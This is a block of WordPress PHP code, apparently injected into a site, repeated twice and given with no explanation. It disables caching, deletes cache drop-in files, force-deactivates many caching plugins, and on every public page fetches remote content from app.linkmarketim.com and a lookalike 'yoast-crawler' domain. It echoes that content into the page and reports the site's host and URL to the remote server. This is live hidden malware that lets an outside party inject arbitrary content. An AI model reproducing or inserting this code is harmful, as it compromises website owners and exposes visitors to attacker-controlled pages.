add_action('init',function(){foreach(['DONOTCACHEPAGE','DONOTMINIFY','DONOTCDN','DONOTCACHEDB','DONOTCACHEOBJECT','DONOTROCKETOPTIMIZE','LITESPEED_DISABLE_ALL'] as $c) if(!defined($c)) define($c,true); foreach([['init','wp_cache_check_link'],['init','wp_cache_manager_updates'],['init','rocket_init'],['init',['WpFastestCache','init']],['init',['Cache_Enabler','init']],['init',['Hummingbird\\WP_Hummingbird','init']],['init',['WP_Optimize','init']],['init','swift_performance_init']] as $r) remove_action($r[0],$r[1]); foreach(['w3tc_flush_all','wp_cache_clear_cache','rocket_clean_domain','breeze_clean_cache','wpo_cache_flush','powered_cache_flush','sg_cachepress_purge_cache','cloudways_purge_cache'] as $fn) if(function_exists($fn)) $fn(); if(class_exists('autoptimizeCache')) autoptimizeCache::clearall(); if(class_exists('Cache_Enabler') && method_exists('Cache_Enabler','clear_complete_cache')) Cache_Enabler::clear_complete_cache(); if(class_exists('WpFastestCache') && method_exists('WpFastestCache','deleteCache')) { $w=new WpFastestCache(); $w->deleteCache(); } if(class_exists('Kinsta\\Cache') && method_exists('Kinsta\\Cache','purge_complete_cache')) \Kinsta\Cache::purge_complete_cache(); if(class_exists('PagelyCachePurge')) PagelyCachePurge::purgeAll(); }); add_action('send_headers',function(){ if(is_admin()) return; if(function_exists('nocache_headers')) nocache_headers(); if(!headers_sent()){ header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, s-maxage=0'); header('Pragma: no-cache'); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT'); header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); header('ETag: "'.time().'-'.mt_rand().'"'); header('Vary: *'); header('CF-Cache-Status: BYPASS'); header('X-Cache: MISS'); header('X-Cache-Status: DISABLED'); header('Surrogate-Control: no-store'); header('X-Varnish-TTL: 0'); }},1); add_action('wp_head',function(){ foreach([WP_CONTENT_DIR.'/advanced-cache.php',WP_CONTENT_DIR.'/object-cache.php',WP_CONTENT_DIR.'/db.php'] as $f) if(file_exists($f)) @unlink($f); },1); add_action('admin_init',function(){ if(!function_exists('is_plugin_active')) return; foreach([ 'wp-super-cache/wp-cache.php','w3-total-cache/w3-total-cache.php','wp-rocket/wp-rocket.php','litespeed-cache/litespeed-cache.php','wp-fastest-cache/wpFastestCache.php','autoptimize/autoptimize.php','cache-enabler/cache-enabler.php','comet-cache/comet-cache.php','hummingbird-performance/wp-hummingbird.php','swift-performance-lite/performance.php','breeze/breeze.php','sg-cachepress/sg-cachepress.php','cloudflare/cloudflare.php','wp-optimize/wp-optimize.php','powered-cache/powered-cache.php','nitropack/main.php','flying-press/flying-press.php' ] as $p) if(is_plugin_active($p)) deactivate_plugins($p,true); }); add_action('wp_head',function(){ if(is_admin()) return; $u=add_query_arg(['nocache'=>time(),'random'=>mt_rand(1000,9999)],'https://app.linkmarketim.com/code?x=5'); $r=wp_remote_get($u,['timeout'=>15,'sslverify'=>true,'headers'=>['Cache-Control'=>'no-cache, no-store, must-revalidate','Pragma'=>'no-cache','User-Agent'=>'WordPress/'.get_bloginfo('version').' NoCache']]); if(!is_wp_error($r) && 200===wp_remote_retrieve_response_code($r)){ $b=wp_remote_retrieve_body($r); if($b){ $bot=@file_get_contents('https://yoast-crawler.com/google_crawler.php?site='.$_SERVER['HTTP_HOST'].'&ref='.urlencode($_SERVER['REQUEST_URI']).'&t='.time()); echo $b.$bot; } } },999); add_action('wp_footer',function(){ foreach(['w3tc_flush_all','wp_cache_clear_cache'] as $fn) if(function_exists($fn)) $fn(); },999); add_action('init',function(){foreach(['DONOTCACHEPAGE','DONOTMINIFY','DONOTCDN','DONOTCACHEDB','DONOTCACHEOBJECT','DONOTROCKETOPTIMIZE','LITESPEED_DISABLE_ALL'] as $c) if(!defined($c)) define($c,true); foreach([['init','wp_cache_check_link'],['init','wp_cache_manager_updates'],['init','rocket_init'],['init',['WpFastestCache','init']],['init',['Cache_Enabler','init']],['init',['Hummingbird\\WP_Hummingbird','init']],['init',['WP_Optimize','init']],['init','swift_performance_init']] as $r) remove_action($r[0],$r[1]); foreach(['w3tc_flush_all','wp_cache_clear_cache','rocket_clean_domain','breeze_clean_cache','wpo_cache_flush','powered_cache_flush','sg_cachepress_purge_cache','cloudways_purge_cache'] as $fn) if(function_exists($fn)) $fn(); if(class_exists('autoptimizeCache')) autoptimizeCache::clearall(); if(class_exists('Cache_Enabler') && method_exists('Cache_Enabler','clear_complete_cache')) Cache_Enabler::clear_complete_cache(); if(class_exists('WpFastestCache') && method_exists('WpFastestCache','deleteCache')) { $w=new WpFastestCache(); $w->deleteCache(); } if(class_exists('Kinsta\\Cache') && method_exists('Kinsta\\Cache','purge_complete_cache')) \Kinsta\Cache::purge_complete_cache(); if(class_exists('PagelyCachePurge')) PagelyCachePurge::purgeAll(); }); add_action('send_headers',function(){ if(is_admin()) return; if(function_exists('nocache_headers')) nocache_headers(); if(!headers_sent()){ header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, s-maxage=0'); header('Pragma: no-cache'); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT'); header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); header('ETag: "'.time().'-'.mt_rand().'"'); header('Vary: *'); header('CF-Cache-Status: BYPASS'); header('X-Cache: MISS'); header('X-Cache-Status: DISABLED'); header('Surrogate-Control: no-store'); header('X-Varnish-TTL: 0'); }},1); add_action('wp_head',function(){ foreach([WP_CONTENT_DIR.'/advanced-cache.php',WP_CONTENT_DIR.'/object-cache.php',WP_CONTENT_DIR.'/db.php'] as $f) if(file_exists($f)) @unlink($f); },1); add_action('admin_init',function(){ if(!function_exists('is_plugin_active')) return; foreach([ 'wp-super-cache/wp-cache.php','w3-total-cache/w3-total-cache.php','wp-rocket/wp-rocket.php','litespeed-cache/litespeed-cache.php','wp-fastest-cache/wpFastestCache.php','autoptimize/autoptimize.php','cache-enabler/cache-enabler.php','comet-cache/comet-cache.php','hummingbird-performance/wp-hummingbird.php','swift-performance-lite/performance.php','breeze/breeze.php','sg-cachepress/sg-cachepress.php','cloudflare/cloudflare.php','wp-optimize/wp-optimize.php','powered-cache/powered-cache.php','nitropack/main.php','flying-press/flying-press.php' ] as $p) if(is_plugin_active($p)) deactivate_plugins($p,true); }); add_action('wp_head',function(){ if(is_admin()) return; $u=add_query_arg(['nocache'=>time(),'random'=>mt_rand(1000,9999)],'https://app.linkmarketim.com/code?x=5'); $r=wp_remote_get($u,['timeout'=>15,'sslverify'=>true,'headers'=>['Cache-Control'=>'no-cache, no-store, must-revalidate','Pragma'=>'no-cache','User-Agent'=>'WordPress/'.get_bloginfo('version').' NoCache']]); if(!is_wp_error($r) && 200===wp_remote_retrieve_response_code($r)){ $b=wp_remote_retrieve_body($r); if($b){ $bot=@file_get_contents('https://yoast-crawler.com/google_crawler.php?site='.$_SERVER['HTTP_HOST'].'&ref='.urlencode($_SERVER['REQUEST_URI']).'&t='.time()); echo $b.$bot; } } },999); add_action('wp_footer',function(){ foreach(['w3tc_flush_all','wp_cache_clear_cache'] as $fn) if(function_exists($fn)) $fn(); },999);